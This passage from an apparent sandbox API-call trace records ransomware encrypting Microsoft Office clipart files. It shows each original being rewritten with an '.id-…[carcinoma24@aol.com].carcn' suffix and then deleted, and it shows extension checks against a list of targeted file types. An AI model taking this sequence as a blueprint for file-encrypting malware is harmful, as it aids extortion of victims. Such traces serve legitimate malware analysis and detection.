Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0299.332] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3564) returned 1 [0299.332] CloseHandle (hObject=0x358) returned 1 [0299.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 0x220 [0299.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0299.333] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.333] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0299.527] GetLastError () returned 0x0 [0299.527] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xdec, lpOverlapped=0x0) returned 1 [0299.528] WriteFile (in: hFile=0x370, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xdf0, lpOverlapped=0x0) returned 1 [0299.529] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.529] WriteFile (in: hFile=0x370, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xe8, lpOverlapped=0x0) returned 1 [0299.529] SetEndOfFile (hFile=0x370) returned 1 [0299.529] CloseHandle (hObject=0x370) returned 1 [0299.529] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.529] SetEndOfFile (hFile=0x358) returned 1 [0299.530] CloseHandle (hObject=0x358) returned 1 [0299.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.530] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 1 [0299.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0299.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0299.531] lstrlenW (lpString=".doc") returned 4 [0299.531] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.531] lstrlenW (lpString=".docx") returned 5 [0299.531] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0299.531] lstrlenW (lpString=".pdf") returned 4 [0299.531] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.531] lstrlenW (lpString=".xls") returned 4 [0299.531] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.531] lstrlenW (lpString=".xlsx") returned 5 [0299.531] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0299.531] lstrlenW (lpString=".ppt") returned 4 [0299.531] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0299.531] lstrlenW (lpString=".zip") returned 4 [0299.531] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.531] lstrlenW (lpString=".rar") returned 4 [0299.531] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.531] lstrlenW (lpString=".bz2") returned 4 [0299.531] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.531] lstrlenW (lpString=".7z") returned 3 [0299.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0299.531] lstrlenW (lpString=".dbf") returned 4 [0299.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0299.532] lstrlenW (lpString=".1cd") returned 4 [0299.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0299.532] lstrlenW (lpString=".jpg") returned 4 [0299.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0299.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0299.532] lstrlenW (lpString=".doc") returned 4 [0299.532] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.532] lstrlenW (lpString=".docx") returned 5 [0299.532] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0299.532] lstrlenW (lpString=".pdf") returned 4 [0299.532] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.532] lstrlenW (lpString=".xls") returned 4 [0299.532] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.532] lstrlenW (lpString=".xlsx") returned 5 [0299.532] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0299.532] lstrlenW (lpString=".ppt") returned 4 [0299.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0299.532] lstrlenW (lpString=".zip") returned 4 [0299.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.532] lstrlenW (lpString=".rar") returned 4 [0299.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.532] lstrlenW (lpString=".bz2") returned 4 [0299.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.532] lstrlenW (lpString=".7z") returned 3 [0299.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0299.533] lstrlenW (lpString=".dbf") returned 4 [0299.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0299.533] lstrlenW (lpString=".1cd") returned 4 [0299.533] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66 [0299.533] lstrlenW (lpString=".jpg") returned 4 [0299.533] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.533] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.533] lstrlenW (lpString="CRANINST.WMF") returned 12 [0299.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0299.533] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=49546) returned 1 [0299.533] CloseHandle (hObject=0x358) returned 1 [0299.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 0x220 [0299.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0299.534] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.534] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0299.535] GetLastError () returned 0x0 [0299.535] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xc18a, lpOverlapped=0x0) returned 1 [0299.536] WriteFile (in: hFile=0x370, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xc190, lpOverlapped=0x0) returned 1 [0299.538] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.539] WriteFile (in: hFile=0x370, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.539] SetEndOfFile (hFile=0x370) returned 1 [0299.539] CloseHandle (hObject=0x370) returned 1 [0299.539] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.539] SetEndOfFile (hFile=0x358) returned 1 [0299.540] CloseHandle (hObject=0x358) returned 1 [0299.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 1 [0299.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0299.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0299.541] lstrlenW (lpString=".doc") returned 4 [0299.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.541] lstrlenW (lpString=".docx") returned 5 [0299.541] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0299.541] lstrlenW (lpString=".pdf") returned 4 [0299.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.541] lstrlenW (lpString=".xls") returned 4 [0299.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.542] lstrlenW (lpString=".xlsx") returned 5 [0299.542] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0299.542] lstrlenW (lpString=".ppt") returned 4 [0299.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0299.542] lstrlenW (lpString=".zip") returned 4 [0299.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.542] lstrlenW (lpString=".rar") returned 4 [0299.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.542] lstrlenW (lpString=".bz2") returned 4 [0299.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.542] lstrlenW (lpString=".7z") returned 3 [0299.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0299.542] lstrlenW (lpString=".dbf") returned 4 [0299.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0299.542] lstrlenW (lpString=".1cd") returned 4 [0299.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0299.542] lstrlenW (lpString=".jpg") returned 4 [0299.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0299.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0299.542] lstrlenW (lpString=".doc") returned 4 [0299.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.542] lstrlenW (lpString=".docx") returned 5 [0299.542] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0299.543] lstrlenW (lpString=".pdf") returned 4 [0299.543] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.543] lstrlenW (lpString=".xls") returned 4 [0299.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.543] lstrlenW (lpString=".xlsx") returned 5 [0299.543] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0299.543] lstrlenW (lpString=".ppt") returned 4 [0299.543] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0299.543] lstrlenW (lpString=".zip") returned 4 [0299.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.543] lstrlenW (lpString=".rar") returned 4 [0299.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.543] lstrlenW (lpString=".bz2") returned 4 [0299.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.543] lstrlenW (lpString=".7z") returned 3 [0299.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0299.543] lstrlenW (lpString=".dbf") returned 4 [0299.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0299.543] lstrlenW (lpString=".1cd") returned 4 [0299.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0299.543] lstrlenW (lpString=".jpg") returned 4 [0299.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.544] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.544] lstrlenW (lpString="CUP.WMF") returned 7 [0299.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0299.544] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2966) returned 1 [0299.544] CloseHandle (hObject=0x358) returned 1 [0299.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 0x220 [0299.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0299.545] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.545] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0299.546] GetLastError () returned 0x0 [0299.546] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xb96, lpOverlapped=0x0) returned 1 [0299.547] WriteFile (in: hFile=0x370, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xba0, lpOverlapped=0x0) returned 1 [0299.548] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.548] WriteFile (in: hFile=0x370, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xe2, lpOverlapped=0x0) returned 1 [0299.548] SetEndOfFile (hFile=0x370) returned 1 [0299.548] CloseHandle (hObject=0x370) returned 1 [0299.548] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.548] SetEndOfFile (hFile=0x358) returned 1 [0299.549] CloseHandle (hObject=0x358) returned 1 [0299.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 1 [0299.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0299.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0299.550] lstrlenW (lpString=".doc") returned 4 [0299.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.550] lstrlenW (lpString=".docx") returned 5 [0299.550] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0299.550] lstrlenW (lpString=".pdf") returned 4 [0299.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.551] lstrlenW (lpString=".xls") returned 4 [0299.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.551] lstrlenW (lpString=".xlsx") returned 5 [0299.551] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0299.551] lstrlenW (lpString=".ppt") returned 4 [0299.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0299.551] lstrlenW (lpString=".zip") returned 4 [0299.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.551] lstrlenW (lpString=".rar") returned 4 [0299.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.551] lstrlenW (lpString=".bz2") returned 4 [0299.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.551] lstrlenW (lpString=".7z") returned 3 [0299.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0299.551] lstrlenW (lpString=".dbf") returned 4 [0299.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0299.551] lstrlenW (lpString=".1cd") returned 4 [0299.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0299.551] lstrlenW (lpString=".jpg") returned 4 [0299.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0299.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0299.552] lstrlenW (lpString=".doc") returned 4 [0299.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.552] lstrlenW (lpString=".docx") returned 5 [0299.552] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0299.552] lstrlenW (lpString=".pdf") returned 4 [0299.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.552] lstrlenW (lpString=".xls") returned 4 [0299.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.552] lstrlenW (lpString=".xlsx") returned 5 [0299.552] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0299.552] lstrlenW (lpString=".ppt") returned 4 [0299.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0299.552] lstrlenW (lpString=".zip") returned 4 [0299.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.552] lstrlenW (lpString=".rar") returned 4 [0299.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.552] lstrlenW (lpString=".bz2") returned 4 [0299.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.552] lstrlenW (lpString=".7z") returned 3 [0299.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0299.552] lstrlenW (lpString=".dbf") returned 4 [0299.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0299.552] lstrlenW (lpString=".1cd") returned 4 [0299.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0299.552] lstrlenW (lpString=".jpg") returned 4 [0299.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.553] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.553] lstrlenW (lpString="CUPINST.WMF") returned 11 [0299.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0299.553] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=10326) returned 1 [0299.553] CloseHandle (hObject=0x358) returned 1 [0299.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 0x220 